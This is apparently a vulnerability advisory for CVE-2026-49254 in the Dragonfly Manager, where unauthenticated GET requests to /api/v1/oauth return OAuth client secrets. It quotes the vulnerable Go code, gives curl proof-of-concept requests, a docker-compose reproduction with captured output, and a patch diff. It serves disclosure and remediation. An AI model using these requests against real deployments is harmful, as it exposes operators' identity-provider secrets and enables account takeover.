PT-2026-55450 · Go · D7Y.Io/Dragonfly/V2

Publicado

2026-07-02

Atualizado

2026-07-02

CVE-2026-49254

CVSS v4.0

2.9

Baixa

Vetor

AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Summary

The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.

Affected versions

github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.

Privilege required

Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).

Vulnerable code

manager/router/router.go:134-140 (v2.4.3) — the /oauth group registration:

// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)

Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:

c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)

Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.

The handler at manager/handlers/oauth.go:127-141 returns the model directly:

func (h *Handlers) GetOauth(ctx *gin.Context) {
	var params types.OauthParams
	if err := ctx.ShouldBindUri(&params); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	ctx.JSON(http.StatusOK, oauth)
}

manager/handlers/oauth.go:155-171 has the parallel list handler:

func (h *Handlers) GetOauths(ctx *gin.Context) {
	var query types.GetOauthsQuery
	if err := ctx.ShouldBindQuery(&query); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	h.setPaginationDefault(&query.Page, &query.PerPage)
	oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
	ctx.JSON(http.StatusOK, oauth)
}

manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:

type Oauth struct {
	BaseModel
	Name     string `gorm:"column:name;type:varchar(256);index:uk oauth2 name,unique;not null;comment:oauth2 name" json:"name"`
	BIO     string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
	ClientID   string `gorm:"column:client id;type:varchar(256);index:uk oauth2 client id,unique;not null;comment:client id for oauth2" json:"client id"`
	ClientSecret string `gorm:"column:client secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client secret"`
	RedirectURL string `gorm:"column:redirect url;type:varchar(1024);comment:authorization callback url" json:"redirect url"`
}

How an unauthenticated request reaches the OAuth client secret

gin.Engine routes GET /api/v1/oauth/:id to the oa group registered at manager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses jwt.MiddlewareFunc() (which would have set or rejected c.Get("id")) and middlewares.RBAC() (which would have called Casbin enforcement).
The request enters h.GetOauth (manager/handlers/oauth.go:127), which binds the :id path parameter and calls h.service.GetOauth.
service.GetOauth (manager/service/oauth.go) does s.db.First(&oauth, id) and returns the populated models.Oauth.
The handler calls ctx.JSON(http.StatusOK, oauth). The ClientSecret field is serialized as client secret in the response body.

There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.

Proof of concept

bash

# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
# has been registered via the authenticated POST /api/v1/oauth path.)

curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool

Both calls return HTTP 200 with a JSON body that includes client secret.

End-to-end reproduction (against `dragonflyoss/manager:v2.4.3` on docker compose)

Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:

bash

mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml 
  /Users/rick/df2-poc/config/manager.yaml
# replace  IP  with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).

cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
 redis:
  image: redis:6-alpine
  container name: dragonfly-redis
  command: --requirepass dragonfly
 mysql:
  image: mariadb:10.6
  container name: dragonfly-mysql
  environment:
   - MARIADB USER=dragonfly
   - MARIADB PASSWORD=dragonfly
   - MARIADB DATABASE=manager
   - MARIADB ALLOW EMPTY ROOT PASSWORD=yes
 manager:
  image: dragonflyoss/manager:v2.4.3
  container name: dragonfly-manager
  depends on: [redis, mysql]
  restart: on-failure
  volumes:
   - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
  ports:
   - "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:

bash

# Sign up + promote to root via the casbin rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup 
 -H 'Content-Type: application/json' 
 -d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e 
 "USE manager; INSERT INTO casbin rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin 
 -H 'Content-Type: application/json' 
 -d '{"name":"admin","password":"adminpass123"}' 
 | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

curl -s -X POST http://localhost:18080/api/v1/oauth 
 -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' 
 -d '{"name":"github","client id":"FAKE CLIENT ID abc123",
    "client secret":"FAKE CLIENT SECRET supersensitive xyz789"}'

Captured run output of the actual attack (unauthenticated client):

=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401

=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
  {
    "id": 1,
    "name": "github",
    "client id": "FAKE CLIENT ID abc123",
    "client secret": "FAKE CLIENT SECRET supersensitive xyz789",
    "redirect url": ""
  }
]

=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
  "id": 1,
  "name": "github",
  "client id": "FAKE CLIENT ID abc123",
  "client secret": "FAKE CLIENT SECRET supersensitive xyz789",
  "redirect url": ""
}

Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.

Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.

Impact

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
Unauthenticated disclosure of OAuth client secret for GitHub / Google providers. A client secret permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.
The same row also exposes client id and redirect url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.
Tenants who exposed the Manager's REST port (8080/tcp, default in the project's docker-compose.yaml and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).

Suggested fix

Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.

diff

--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
-  oa := apiv1.Group("/oauth")
-  oa.POST("",  jwt.MiddlewareFunc(), rbac, h.CreateOauth)
-  oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
-  oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
-  oa.GET(":id", h.GetOauth)
-  oa.GET("",  h.GetOauths)
+  oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+  oa.POST("",   h.CreateOauth)
+  oa.DELETE(":id", h.DestroyOauth)
+  oa.PATCH(":id", h.UpdateOauth)
+  oa.GET(":id",  h.GetOauth)
+  oa.GET("",    h.GetOauths)

diff

--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
-  ClientSecret string `gorm:"column:client secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client secret"`
+  ClientSecret string `gorm:"column:client secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`

The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.

Fix PR

https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).

Workarounds

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.

Credit

Reported by tonghuaroot.

Correção

Information Disclosure

Missing Authentication

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dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-200CWE-306

Identificadores relacionados

CVE-2026-49254

GHSA-4Q9J-6299-GXMR

Produtos afetados

D7Y.Io/Dragonfly/V2

PT-2026-55450 · Go · D7Y.Io/Dragonfly/V2

CVE-2026-49254

Summary

Affected versions

Privilege required

Vulnerable code

How an unauthenticated request reaches the OAuth client secret

Proof of concept

End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)

Impact

Suggested fix

Fix PR

Workarounds

Credit

Enumeração de Fraquezas

Identificadores relacionados

Produtos afetados

Referências · 3

End-to-end reproduction (against `dragonflyoss/manager:v2.4.3` on docker compose)